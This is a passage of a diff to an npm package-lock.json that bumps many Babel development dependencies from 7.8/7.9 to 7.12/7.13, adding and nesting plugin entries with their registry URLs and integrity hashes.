"dev": true, + "requires": { + "@babel/types": "^7.13.0", + "jsesc": "^2.5.1", + "source-map": "^0.5.0" + } + }, + "@babel/helper-function-name": { + "version": "7.12.13", + "resolved": "https://registry.npmjs.org/@babel/helper-function-name/-/helper-function-name-7.12.13.tgz", + "integrity": "sha512-TZvmPn0UOqmvi5G4vvw0qZTpVptGkB1GL61R6lKvrSdIxGm5Pky7Q3fpKiIkQCAtRCBUwB0PaThlx9vebCDSwA==", + "dev": true, + "requires": { + "@babel/helper-get-function-arity": "^7.12.13", + "@babel/template": "^7.12.13", + "@babel/types": "^7.12.13" + } + }, + "@babel/helper-get-function-arity": { + "version": "7.12.13", + "resolved": "https://registry.npmjs.org/@babel/helper-get-function-arity/-/helper-get-function-arity-7.12.13.tgz", + "integrity": "sha512-DjEVzQNz5LICkzN0REdpD5prGoidvbdYk1BVgRUOINaWJP2t6avB27X1guXK1kXNrX0WMfsrm1A/ZBthYuIMQg==", + "dev": true, + "requires": { + "@babel/types": "^7.12.13" + } + }, + "@babel/helper-split-export-declaration": { + "version": "7.12.13", + "resolved": "https://registry.npmjs.org/@babel/helper-split-export-declaration/-/helper-split-export-declaration-7.12.13.tgz", + "integrity": "sha512-tCJDltF83htUtXx5NLcaDqRmknv652ZWCHyoTETf1CXYJdPC7nohZohjUgieXhv0hTJdRf2FjDueFehdNucpzg==", + "dev": true, + "requires": { + "@babel/types": "^7.12.13" + } + }, + "@babel/helper-validator-identifier": { + "version": "7.12.11", + "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.12.11.tgz", + "integrity": "sha512-np/lG3uARFybkoHokJUmf1QfEvRVCPbmQeUQpKow5cQ3xWrV9i3rUHodKDJPQfTVX61qKi+UdYk8kik84n7XOw==", + "dev": true + }, + "@babel/highlight": { + "version": "7.13.10", + "resolved": "https://registry.npmjs.org/@babel/highlight/-/highlight-7.13.10.tgz", + "integrity": "sha512-5aPpe5XQPzflQrFwL1/QoeHkP2MsA4JCntcXHRhEsdsfPVkvPi2w7Qix4iV7t5S/oC9OodGrggd8aco1g3SZFg==", + "dev": true, + "requires": { + "@babel/helper-validator-identifier": "^7.12.11", + "chalk": "^2.0.0", + "js-tokens": "^4.0.0" + } + }, + "@babel/parser": { + "version": "7.13.15", + "resolved": "https://registry.npmjs.org/@babel/parser/-/parser-7.13.15.tgz", + "integrity": "sha512-b9COtcAlVEQljy/9fbcMHpG+UIW9ReF+gpaxDHTlZd0c6/UU9ng8zdySAW9sRTzpvcdCHn6bUcbuYUgGzLAWVQ==", + "dev": true + }, + "@babel/template": { + "version": "7.12.13", + "resolved": "https://registry.npmjs.org/@babel/template/-/template-7.12.13.tgz", + "integrity": "sha512-/7xxiGA57xMo/P2GVvdEumr8ONhFOhfgq2ihK3h1e6THqzTAkHbkXgB0xI9yeTfIUoH3+oAeHhqm/I43OTbbjA==", + "dev": true, + "requires": { + "@babel/code-frame": "^7.12.13", + "@babel/parser": "^7.12.13", + "@babel/types": "^7.12.13" + } + }, + "@babel/traverse": { + "version": "7.13.15", + "resolved": "https://registry.npmjs.org/@babel/traverse/-/traverse-7.13.15.tgz", + "integrity": "sha512-/mpZMNvj6bce59Qzl09fHEs8Bt8NnpEDQYleHUPZQ3wXUMvXi+HJPLars68oAbmp839fGoOkv2pSL2z9ajCIaQ==", + "dev": true, + "requires": { + "@babel/code-frame": "^7.12.13", + "@babel/generator": "^7.13.9", + "@babel/helper-function-name": "^7.12.13", + "@babel/helper-split-export-declaration": "^7.12.13", + "@babel/parser": "^7.13.15", + "@babel/types": "^7.13.14", + "debug": "^4.1.0", + "globals": "^11.1.0" + } + }, + "@babel/types": { + "version": "7.13.14", + "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.13.14.tgz", + "integrity": "sha512-A2aa3QTkWoyqsZZFl56MLUsfmh7O0gN41IPvXAE/++8ojpbz12SszD7JEGYVdn4f9Kt4amIei07swF1h4AqmmQ==", + "dev": true, + "requires": { + "@babel/helper-validator-identifier": "^7.12.11", + "lodash": "^4.17.19", + "to-fast-properties": "^2.0.0" + } + }, + "debug": { + "version": "4.3.1", + "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.1.tgz", + "integrity": "sha512-doEwdvm4PCeK4K3RQN2ZC2BYUBaxwLARCqZmMjtF8a51J2Rb0xpVloFRnCODwqjpwnAoao4pelN8l3RJdv3gRQ==", + "dev": true, + "requires": { + "ms": "2.1.2" + } + }, + "ms": { + "version": "2.1.2", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz", + "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==", + "dev": true + } } }, "@babel/highlight": { @@ -390,106 +1626,150 @@ "integrity": "sha512-AoeIEJn8vt+d/6+PXDRPaksYhnlbMIiejioBZvvMQsOjW/JYK6k/0dKnvvP3EhK5GfMBWDPtrxRtegWdAcdq9Q==", "dev": true }, - "@babel/plugin-proposal-async-generator-functions": { - "version": "7.8.3", - "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-async-generator-functions/-/plugin-proposal-async-generator-functions-7.8.3.tgz", - "integrity": "sha512-NZ9zLv848JsV3hs8ryEh7Uaz/0KsmPLqv0+PdkDJL1cJy0K4kOCFa8zc1E3mp+RHPQcpdfb/6GovEsW4VDrOMw==", + "@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining": { + "version": "7.13.12", + "resolved": "https://registry.npmjs.org/@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining/-/plugin-bugfix-v8-spread-parameters-in-optional-chaining-7.13.12.tgz", + "integrity": "sha512-d0u3zWKcoZf379fOeJdr1a5WPDny4aOFZ6hlfKivgK0LY7ZxNfoaHL2fWwdGtHyVvra38FC+HVYkO+byfSA8AQ==", "dev": true, "requires": { - "@babel/helper-plugin-utils": "^7.8.3", - "@babel/helper-remap-async-to-generator": "^7.8.3", - "@babel/plugin-syntax-async-generators": "^7.8.0" + "@babel/helper-plugin-utils": "^7.13.0", + "@babel/helper-skip-transparent-expression-wrappers": "^7.12.1", + "@babel/plugin-proposal-optional-chaining": "^7.13.12" + } + }, + "@babel/plugin-proposal-async-generator-functions": { + "version": "7.13.15", + "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-async-generator-functions/-/plugin-proposal-async-generator-functions-7.13.15.tgz", + "integrity": "sha512-VapibkWzFeoa6ubXy/NgV5U2U4MVnUlvnx6wo1XhlsaTrLYWE0UFpDQsVrmn22q5CzeloqJ8gEMHSKxuee6ZdA==", + "dev": true, + "requires": { + "@babel/helper-plugin-utils": "^7.13.0", + "@babel/helper-remap-async-to-generator": "^7.13.0", + "@babel/plugin-syntax-async-generators": "^7.8.4" } }, "@babel/plugin-proposal-class-properties": { - "version": "7.8.3", - "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-class-properties/-/plugin-proposal-class-properties-7.8.3.tgz", - "integrity": "sha512-EqFhbo7IosdgPgZggHaNObkmO1kNUe3slaKu54d5OWvy+p9QIKOzK1GAEpAIsZtWVtPXUHSMcT4smvDrCfY4AA==", + "version": "7.13.0", + "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-class-properties/-/plugin-proposal-class-properties-7.13.0.tgz", + "integrity": "sha512-KnTDjFNC1g+45ka0myZNvSBFLhNCLN+GeGYLDEA8Oq7MZ6yMgfLoIRh86GRT0FjtJhZw8JyUskP9uvj5pHM9Zg==", "dev": true, "requires": { - "@babel/helper-create-class-features-plugin": "^7.8.3", - "@babel/helper-plugin-utils": "^7.8.3" + "@babel/helper-create-class-features-plugin": "^7.13.0", + "@babel/helper-plugin-utils": "^7.13.0" } }, "@babel/plugin-proposal-dynamic-import": { - "version": "7.8.3", - "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-dynamic-import/-/plugin-proposal-dynamic-import-7.8.3.tgz", - "integrity": "sha512-NyaBbyLFXFLT9FP+zk0kYlUlA8XtCUbehs67F0nnEg7KICgMc2mNkIeu9TYhKzyXMkrapZFwAhXLdnt4IYHy1w==", + "version": "7.13.8", + "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-dynamic-import/-/plugin-proposal-dynamic-import-7.13.8.tgz", + "integrity": "sha512-ONWKj0H6+wIRCkZi9zSbZtE/r73uOhMVHh256ys0UzfM7I3d4n+spZNWjOnJv2gzopumP2Wxi186vI8N0Y2JyQ==", "dev": true, "requires": { - "@babel/helper-plugin-utils": "^7.8.3", - "@babel/plugin-syntax-dynamic-import": "^7.8.0" + "@babel/helper-plugin-utils": "^7.13.0", + "@babel/plugin-syntax-dynamic-import": "^7.8.3" + } + }, + "@babel/plugin-proposal-export-namespace-from": { + "version": "7.12.13", + "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-export-namespace-from/-/plugin-proposal-export-namespace-from-7.12.13.tgz", + "integrity": "sha512-INAgtFo4OnLN3Y/j0VwAgw3HDXcDtX+C/erMvWzuV9v71r7urb6iyMXu7eM9IgLr1ElLlOkaHjJ0SbCmdOQ3Iw==", + "dev": true, + "requires": { + "@babel/helper-plugin-utils": "^7.12.13", + "@babel/plugin-syntax-export-namespace-from": "^7.8.3" } }, "@babel/plugin-proposal-json-strings": { - "version": "7.8.3", - "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-json-strings/-/plugin-proposal-json-strings-7.8.3.tgz", - "integrity": "sha512-KGhQNZ3TVCQG/MjRbAUwuH+14y9q0tpxs1nWWs3pbSleRdDro9SAMMDyye8HhY1gqZ7/NqIc8SKhya0wRDgP1Q==", + "version": "7.13.8", + "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-json-strings/-/plugin-proposal-json-strings-7.13.8.tgz", + "integrity": "sha512-w4zOPKUFPX1mgvTmL/fcEqy34hrQ1CRcGxdphBc6snDnnqJ47EZDIyop6IwXzAC8G916hsIuXB2ZMBCExC5k7Q==", "dev": true, "requires": { - "@babel/helper-plugin-utils": "^7.8.3", - "@babel/plugin-syntax-json-strings": "^7.8.0" + "@babel/helper-plugin-utils": "^7.13.0", + "@babel/plugin-syntax-json-strings": "^7.8.3" + } + }, + "@babel/plugin-proposal-logical-assignment-operators": { + "version": "7.13.8", + "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-logical-assignment-operators/-/plugin-proposal-logical-assignment-operators-7.13.8.tgz", + "integrity": "sha512-aul6znYB4N4HGweImqKn59Su9RS8lbUIqxtXTOcAGtNIDczoEFv+l1EhmX8rUBp3G1jMjKJm8m0jXVp63ZpS4A==", + "dev": true, + "requires": { + "@babel/helper-plugin-utils": "^7.13.0", + "@babel/plugin-syntax-logical-assignment-operators": "^7.10.4" } }, "@babel/plugin-proposal-nullish-coalescing-operator": { - "version": "7.8.3", - "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-nullish-coalescing-operator/-/plugin-proposal-nullish-coalescing-operator-7.8.3.tgz", - "integrity": "sha512-TS9MlfzXpXKt6YYomudb/KU7nQI6/xnapG6in1uZxoxDghuSMZsPb6D2fyUwNYSAp4l1iR7QtFOjkqcRYcUsfw==", + "version": "7.13.8", + "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-nullish-coalescing-operator/-/plugin-proposal-nullish-coalescing-operator-7.13.8.tgz", + "integrity": "sha512-iePlDPBn//UhxExyS9KyeYU7RM9WScAG+D3Hhno0PLJebAEpDZMocbDe64eqynhNAnwz/vZoL/q/QB2T1OH39A==", "dev": true, "requires": { - "@babel/helper-plugin-utils": "^7.8.3", - "@babel/plugin-syntax-nullish-coalescing-operator": "^7.8.0" + "@babel/helper-plugin-utils": "^7.13.0", + "@babel/plugin-syntax-nullish-coalescing-operator": "^7.8.3" } }, "@babel/plugin-proposal-numeric-separator": { - "version": "7.8.3", - "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-numeric-separator/-/plugin-proposal-numeric-separator-7.8.3.tgz", - "integrity": "sha512-jWioO1s6R/R+wEHizfaScNsAx+xKgwTLNXSh7tTC4Usj3ItsPEhYkEpU4h+lpnBwq7NBVOJXfO6cRFYcX69JUQ==", + "version": "7.12.13", + "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-numeric-separator/-/plugin-proposal-numeric-separator-7.12.13.tgz", + "integrity": "sha512-O1jFia9R8BUCl3ZGB7eitaAPu62TXJRHn7rh+ojNERCFyqRwJMTmhz+tJ+k0CwI6CLjX/ee4qW74FSqlq9I35w==", "dev": true, "requires": { - "@babel/helper-plugin-utils": "^7.8.3", - "@babel/plugin-syntax-numeric-separator": "^7.8.3" + "@babel/helper-plugin-utils": "^7.12.13", + "@babel/plugin-syntax-numeric-separator": "^7.10.4" } }, "@babel/plugin-proposal-object-rest-spread": { - "version": "7.9.6", - "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-object-rest-spread/-/plugin-proposal-object-rest-spread-7.9.6.tgz", - "integrity": "sha512-Ga6/fhGqA9Hj+y6whNpPv8psyaK5xzrQwSPsGPloVkvmH+PqW1ixdnfJ9uIO06OjQNYol3PMnfmJ8vfZtkzF+A==", + "version": "7.13.8", + "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-object-rest-spread/-/plugin-proposal-object-rest-spread-7.13.8.tgz", + "integrity": "sha512-DhB2EuB1Ih7S3/IRX5AFVgZ16k3EzfRbq97CxAVI1KSYcW+lexV8VZb7G7L8zuPVSdQMRn0kiBpf/Yzu9ZKH0g==", "dev": true, "requires": { - "@babel/helper-plugin-utils": "^7.8.3", - "@babel/plugin-syntax-object-rest-spread": "^7.8.0", - "@babel/plugin-transform-parameters": "^7.9.5" + "@babel/compat-data": "^7.13.8", + "@babel/helper-compilation-targets": "^7.13.8", + "@babel/helper-plugin-utils": "^7.13.0", + "@babel/plugin-syntax-object-rest-spread": "^7.8.3", + "@babel/plugin-transform-parameters": "^7.13.0" } }, "@babel/plugin-proposal-optional-catch-binding": { - "version": "7.8.3", - "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-optional-catch-binding/-/plugin-proposal-optional-catch-binding-7.8.3.tgz", - "integrity": "sha512-0gkX7J7E+AtAw9fcwlVQj8peP61qhdg/89D5swOkjYbkboA2CVckn3kiyum1DE0wskGb7KJJxBdyEBApDLLVdw==", + "version": "7.13.8", + "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-optional-catch-binding/-/plugin-proposal-optional-catch-binding-7.13.8.tgz", + "integrity": "sha512-0wS/4DUF1CuTmGo+NiaHfHcVSeSLj5S3e6RivPTg/2k3wOv3jO35tZ6/ZWsQhQMvdgI7CwphjQa/ccarLymHVA==", "dev": true, "requires": { - "@babel/helper-plugin-utils": "^7.8.3", - "@babel/plugin-syntax-optional-catch-binding": "^7.8.0" + "@babel/helper-plugin-utils": "^7.13.0", + "@babel/plugin-syntax-optional-catch-binding": "^7.8.3" } }, "@babel/plugin-proposal-optional-chaining": { - "version": "7.9.0", - "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-optional-chaining/-/plugin-proposal-optional-chaining-7.9.0.tgz", - "integrity": "sha512-NDn5tu3tcv4W30jNhmc2hyD5c56G6cXx4TesJubhxrJeCvuuMpttxr0OnNCqbZGhFjLrg+NIhxxC+BK5F6yS3w==", + "version": "7.13.12", + "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-optional-chaining/-/plugin-proposal-optional-chaining-7.13.12.tgz", + "integrity": "sha512-fcEdKOkIB7Tf4IxrgEVeFC4zeJSTr78no9wTdBuZZbqF64kzllU0ybo2zrzm7gUQfxGhBgq4E39oRs8Zx/RMYQ==", "dev": true, "requires": { - "@babel/helper-plugin-utils": "^7.8.3", - "@babel/plugin-syntax-optional-chaining": "^7.8.0" + "@babel/helper-plugin-utils": "^7.13.0", + "@babel/helper-skip-transparent-expression-wrappers": "^7.12.1", + "@babel/plugin-syntax-optional-chaining": "^7.8.3" + } + }, + "@babel/plugin-proposal-private-methods": { + "version": "7.13.0", + "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-private-methods/-/plugin-proposal-private-methods-7.13.0.tgz", + "integrity": "sha512-MXyyKQd9inhx1kDYPkFRVOBXQ20ES8Pto3T7UZ92xj2mY0EVD8oAVzeyYuVfy/mxAdTSIayOvg+aVzcHV2bn6Q==", + "dev": true, + "requires": { + "@babel/helper-create-class-features-plugin": "^7.13.0", + "@babel/helper-plugin-utils": "^7.13.0" } }, "@babel/plugin-proposal-unicode-property-regex": { - "version": "7.8.8", - "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-unicode-property-regex/-/plugin-proposal-unicode-property-regex-7.8.8.tgz", - "integrity": "sha512-EVhjVsMpbhLw9ZfHWSx2iy13Q8Z/eg8e8ccVWt23sWQK5l1UdkoLJPN5w69UA4uITGBnEZD2JOe4QOHycYKv8A==", + "version": "7.12.13", + "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-unicode-property-regex/-/plugin-proposal-unicode-property-regex-7.12.13.tgz", + "integrity": "sha512-XyJmZidNfofEkqFV5VC/bLabGmO5QzenPO/YOfGuEbgU+2sSwMmio3YLb4WtBgcmmdwZHyVyv8on77IUjQ5Gvg==", "dev": true, "requires": { - "@babel/helper-create-regexp-features-plugin": "^7.8.8", - "@babel/helper-plugin-utils": "^7.8.3" + "@babel/helper-create-regexp-features-plugin": "^7.12.13", + "@babel/helper-plugin-utils": "^7.12.13" } }, "@babel/plugin-syntax-async-generators": { @@ -501,6 +1781,15 @@ "@babel/helper-plugin-utils": "^7.8.0" } }, + "@babel/plugin-syntax-class-properties": { + "version": "7.12.13", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-class-properties/-/plugin-syntax-class-properties-7.12.13.tgz", + "integrity": "sha512-fm4idjKla0YahUNgFNLCB0qySdsoPiZP3iQE3rky0mBUtMZ23yDJ9SJdg6dXTSDnulOVqiF3Hgr9nbXvXTQZYA==", + "dev": true, + "requires": { + "@babel/helper-plugin-utils": "^7.12.13" + } + }, "@babel/plugin-syntax-dynamic-import": { "version": "7.8.3", "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-dynamic-import/-/plugin-syntax-dynamic-import-7.8.3.tgz", @@ -510,6 +1799,15 @@ "@babel/helper-plugin-utils": "^7.8.0" } }, + "@babel/plugin-syntax-export-namespace-from": { + "version": "7.8.3", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-export-namespace-from/-/plugin-syntax-export-namespace-from-7.8.3.tgz", + "integrity": "sha512-MXf5laXo6c1IbEbegDmzGPwGNTsHZmEy6QGznu5Sh2UCWvueywb2ee+CCE4zQiZstxU9BMoQO9i6zUFSY0Kj0Q==", + "dev": true, + "requires": { + "@babel/helper-plugin-utils": "^7.8.3" + } + }, "@babel/plugin-syntax-json-strings": { "version": "7.8.3", "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-json-strings/-/plugin-syntax-json-strings-7.8.3.tgz", @@ -520,12 +1818,21 @@ } }, "@babel/plugin-syntax-jsx": { - "version": "7.8.3", - "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-jsx/-/plugin-syntax-jsx-7.8.3.tgz", - "integrity": "sha512-WxdW9xyLgBdefoo0Ynn3MRSkhe5tFVxxKNVdnZSh318WrG2e2jH+E9wd/++JsqcLJZPfz87njQJ8j2Upjm0M0A==", + "version": "7.12.13", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-jsx/-/plugin-syntax-jsx-7.12.13.tgz", + "integrity": "sha512-d4HM23Q1K7oq/SLNmG6mRt85l2csmQ0cHRaxRXjKW0YFdEXqlZ5kzFQKH5Uc3rDJECgu+yCRgPkG04Mm98R/1g==", "dev": true, "requires": { - "@babel/helper-plugin-utils": "^7.8.3" + "@babel/helper-plugin-utils": "^7.12.13" + } + }, + "@babel/plugin-syntax-logical-assignment-operators": { + "version": "7.10.4", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-logical-assignment-operators/-/plugin-syntax-logical-assignment-operators-7.10.4.tgz", + "integrity": "sha512-d8waShlpFDinQ5MtvGU9xDAOzKH47+FFoney2baFIoMr952hKOLp1HR7VszoZvOsV/4+RRszNY7D17ba0te0ig==", + "dev": true, + "requires": { + "@babel/helper-plugin-utils": "^7.10.4" } }, "@babel/plugin-syntax-nullish-coalescing-operator": { @@ -538,12 +1845,12 @@ } }, "@babel/plugin-syntax-numeric-separator": { - "version": "7.8.3", - "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-numeric-separator/-/plugin-syntax-numeric-separator-7.8.3.tgz", - "integrity": "sha512-H7dCMAdN83PcCmqmkHB5dtp+Xa9a6LKSvA2hiFBC/5alSHxM5VgWZXFqDi0YFe8XNGT6iCa+z4V4zSt/PdZ7Dw==", + "version": "7.10.4", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-numeric-separator/-/plugin-syntax-numeric-separator-7.10.4.tgz", + "integrity": "sha512-9H6YdfkcK/uOnY/K7/aA2xpzaAgkQn37yzWUMRK7OaPOqOpGS1+n0H5hxT9AUw9EsSjPW8SVyMJwYRtWs3X3ug==", "dev": true, "requires": { - "@babel/helper-plugin-utils": "^7.8.3" + "@babel/helper-plugin-utils": "^7.10.4" } }, "@babel/plugin-syntax-object-rest-spread": { @@ -574,456 +1881,683 @@ } }, "@babel/plugin-syntax-top-level-await": { - "version": "7.8.3", - "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-top-level-await/-/plugin-syntax-top-level-await-7.8.3.tgz", - "integrity": "sha512-kwj1j9lL/6Wd0hROD3b/OZZ7MSrZLqqn9RAZ5+cYYsflQ9HZBIKCUkr3+uL1MEJ1NePiUbf98jjiMQSv0NMR9g==", + "version": "7.12.13", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-top-level-await/-/plugin-syntax-top-level-await-7.12.13.tgz", + "integrity": "sha512-A81F9pDwyS7yM//KwbCSDqy3Uj4NMIurtplxphWxoYtNPov7cJsDkAFNNyVlIZ3jwGycVsurZ+LtOA8gZ376iQ==", "dev": true, "requires": { - "@babel/helper-plugin-utils": "^7.8.3" + "@babel/helper-plugin-utils": "^7.12.13" } }, "@babel/plugin-transform-arrow-functions": { - "version": "7.8.3", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-arrow-functions/-/plugin-transform-arrow-functions-7.8.3.tgz", - "integrity": "sha512-0MRF+KC8EqH4dbuITCWwPSzsyO3HIWWlm30v8BbbpOrS1B++isGxPnnuq/IZvOX5J2D/p7DQalQm+/2PnlKGxg==", + "version": "7.13.0", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-arrow-functions/-/plugin-transform-arrow-functions-7.13.0.tgz", + "integrity": "sha512-96lgJagobeVmazXFaDrbmCLQxBysKu7U6Do3mLsx27gf5Dk85ezysrs2BZUpXD703U/Su1xTBDxxar2oa4jAGg==", "dev": true, "requires": { - "@babel/helper-plugin-utils": "^7.8.3" + "@babel/helper-plugin-utils": "^7.13.0" } }, "@babel/plugin-transform-async-to-generator": { - "version": "7.8.3", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-async-to-generator/-/plugin-transform-async-to-generator-7.8.3.tgz", - "integrity": "sha512-imt9tFLD9ogt56Dd5CI/6XgpukMwd/fLGSrix2httihVe7LOGVPhyhMh1BU5kDM7iHD08i8uUtmV2sWaBFlHVQ==", + "version": "7.13.0", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-async-to-generator/-/plugin-transform-async-to-generator-7.13.0.tgz", + "integrity": "sha512-3j6E004Dx0K3eGmhxVJxwwI89CTJrce7lg3UrtFuDAVQ/2+SJ/h/aSFOeE6/n0WB1GsOffsJp6MnPQNQ8nmwhg==", "dev": true, "requires": { - "@babel/helper-module-imports": "^7.8.3", - "@babel/helper-plugin-utils": "^7.8.3", - "@babel/helper-remap-async-to-generator": "^7.8.3" + "@babel/helper-module-imports": "^7.12.13", + "@babel/helper-plugin-utils": "^7.13.0", + "@babel/helper-remap-async-to-generator": "^7.13.0" } }, "@babel/plugin-transform-block-scoped-functions": { - "version": "7.8.3", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-block-scoped-functions/-/plugin-transform-block-scoped-functions-7.8.3.tgz", - "integrity": "sha512-vo4F2OewqjbB1+yaJ7k2EJFHlTP3jR634Z9Cj9itpqNjuLXvhlVxgnjsHsdRgASR8xYDrx6onw4vW5H6We0Jmg==", + "version": "7.12.13", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-block-scoped-functions/-/plugin-transform-block-scoped-functions-7.12.13.tgz", + "integrity": "sha512-zNyFqbc3kI/fVpqwfqkg6RvBgFpC4J18aKKMmv7KdQ/1GgREapSJAykLMVNwfRGO3BtHj3YQZl8kxCXPcVMVeg==", "dev": true, "requires": { - "@babel/helper-plugin-utils": "^7.8.3" + "@babel/helper-plugin-utils": "^7.12.13" } }, "@babel/plugin-transform-block-scoping": { - "version": "7.8.3", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-block-scoping/-/plugin-transform-block-scoping-7.8.3.tgz", - "integrity": "sha512-pGnYfm7RNRgYRi7bids5bHluENHqJhrV4bCZRwc5GamaWIIs07N4rZECcmJL6ZClwjDz1GbdMZFtPs27hTB06w==", + "version": "7.12.13", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-block-scoping/-/plugin-transform-block-scoping-7.12.13.tgz", + "integrity": "sha512-Pxwe0iqWJX4fOOM2kEZeUuAxHMWb9nK+9oh5d11bsLoB0xMg+mkDpt0eYuDZB7ETrY9bbcVlKUGTOGWy7BHsMQ==", "dev": true, "requires": { - "@babel/helper-plugin-utils": "^7.8.3", - "lodash": "^4.17.13" + "@babel/helper-plugin-utils": "^7.12.13" } }, "@babel/plugin-transform-classes": { - "version": "7.9.5", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-classes/-/plugin-transform-classes-7.9.5.tgz", - "integrity": "sha512-x2kZoIuLC//O5iA7PEvecB105o7TLzZo8ofBVhP79N+DO3jaX+KYfww9TQcfBEZD0nikNyYcGB1IKtRq36rdmg==", + "version": "7.13.0", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-classes/-/plugin-transform-classes-7.13.0.tgz", + "integrity": "sha512-9BtHCPUARyVH1oXGcSJD3YpsqRLROJx5ZNP6tN5vnk17N0SVf9WCtf8Nuh1CFmgByKKAIMstitKduoCmsaDK5g==", "dev": true, "requires": { - "@babel/helper-annotate-as-pure": "^7.8.3", - "@babel/helper-define-map": "^7.8.3", - "@babel/helper-function-name": "^7.9.5", - "@babel/helper-optimise-call-expression": "^7.8.3", - "@babel/helper-plugin-utils": "^7.8.3", - "@babel/helper-replace-supers": "^7.8.6", - "@babel/helper-split-export-declaration": "^7.8.3", + "@babel/helper-annotate-as-pure": "^7.12.13", + "@babel/helper-function-name": "^7.12.13", + "@babel/helper-optimise-call-expression": "^7.12.13", + "@babel/helper-plugin-utils": "^7.13.0", + "@babel/helper-replace-supers": "^7.13.0", + "@babel/helper-split-export-declaration": "^7.12.13", "globals": "^11.1.0" + }, + "dependencies": { + "@babel/code-frame": { + "version": "7.12.13", + "resolved": "https://registry.npmjs.org/@babel/code-frame/-/code-frame-7.12.13.tgz", + "integrity": "sha512-HV1Cm0Q3ZrpCR93tkWOYiuYIgLxZXZFVG2VgK+MBWjUqZTundupbfx2aXarXuw5Ko5aMcjtJgbSs4vUGBS5v6g==", + "dev": true, + "requires": { + "@babel/highlight": "^7.12.13" + } + }, + "@babel/helper-function-name": { + "version": "7.12.13", + "resolved": "https://registry.npmjs.org/@babel/helper-function-name/-/helper-function-name-7.12.13.tgz", + "integrity": "sha512-TZvmPn0UOqmvi5G4vvw0qZTpVptGkB1GL61R6lKvrSdIxGm5Pky7Q3fpKiIkQCAtRCBUwB0PaThlx9vebCDSwA==", + "dev": true, + "requires": { + "@babel/helper-get-function-arity": "^7.12.13", + "@babel/template": "^7.12.13", + "@babel/types": "^7.12.13" + } + }, + "@babel/helper-get-function-arity": { + "version": "7.12.13", + "resolved": "https://registry.npmjs.org/@babel/helper-get-function-arity/-/helper-get-function-arity-7.12.13.tgz", + "integrity": "sha512-DjEVzQNz5LICkzN0REdpD5prGoidvbdYk1BVgRUOINaWJP2t6avB27X1guXK1kXNrX0WMfsrm1A/ZBthYuIMQg==", + "dev": true, + "requires": { + "@babel/types": "^7.12.13" + } + }, + "@babel/helper-split-export-declaration": { + "version": "7.12.13", + "resolved": "https://registry.npmjs.org/@babel/helper-split-export-declaration/-/helper-split-export-declaration-7.12.13.tgz", + "integrity": "sha512-tCJDltF83htUtXx5NLcaDqRmknv652ZWCHyoTETf1CXYJdPC7nohZohjUgieXhv0hTJdRf2FjDueFehdNucpzg==", + "dev": true, + "requires": { + "@babel/types": "^7.12.13" + } + }, + "@babel/helper-validator-identifier": { + "version": "7.12.11", + "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.12.11.tgz", + "integrity": "sha512-np/lG3uARFybkoHokJUmf1QfEvRVCPbmQeUQpKow5cQ3xWrV9i3rUHodKDJPQfTVX61qKi+UdYk8kik84n7XOw==", + "dev": true + }, + "@babel/highlight": { + "version": "7.13.10", + "resolved": "https://registry.npmjs.org/@babel/highlight/-/highlight-7.13.10.tgz", + "integrity": "sha512-5aPpe5XQPzflQrFwL1/QoeHkP2MsA4JCntcXHRhEsdsfPVkvPi2w7Qix4iV7t5S/oC9OodGrggd8aco1g3SZFg==", + "dev": true, + "requires": { + "@babel/helper-validator-identifier": "^7.12.11", + "chalk": "^2.0.0", + "js-tokens": "^4.0.0" + } + }, + "@babel/parser": { + "version": "7.13.15", + "resolved": "https://registry.npmjs.org/@babel/parser/-/parser-7.13.15.tgz", + "integrity": 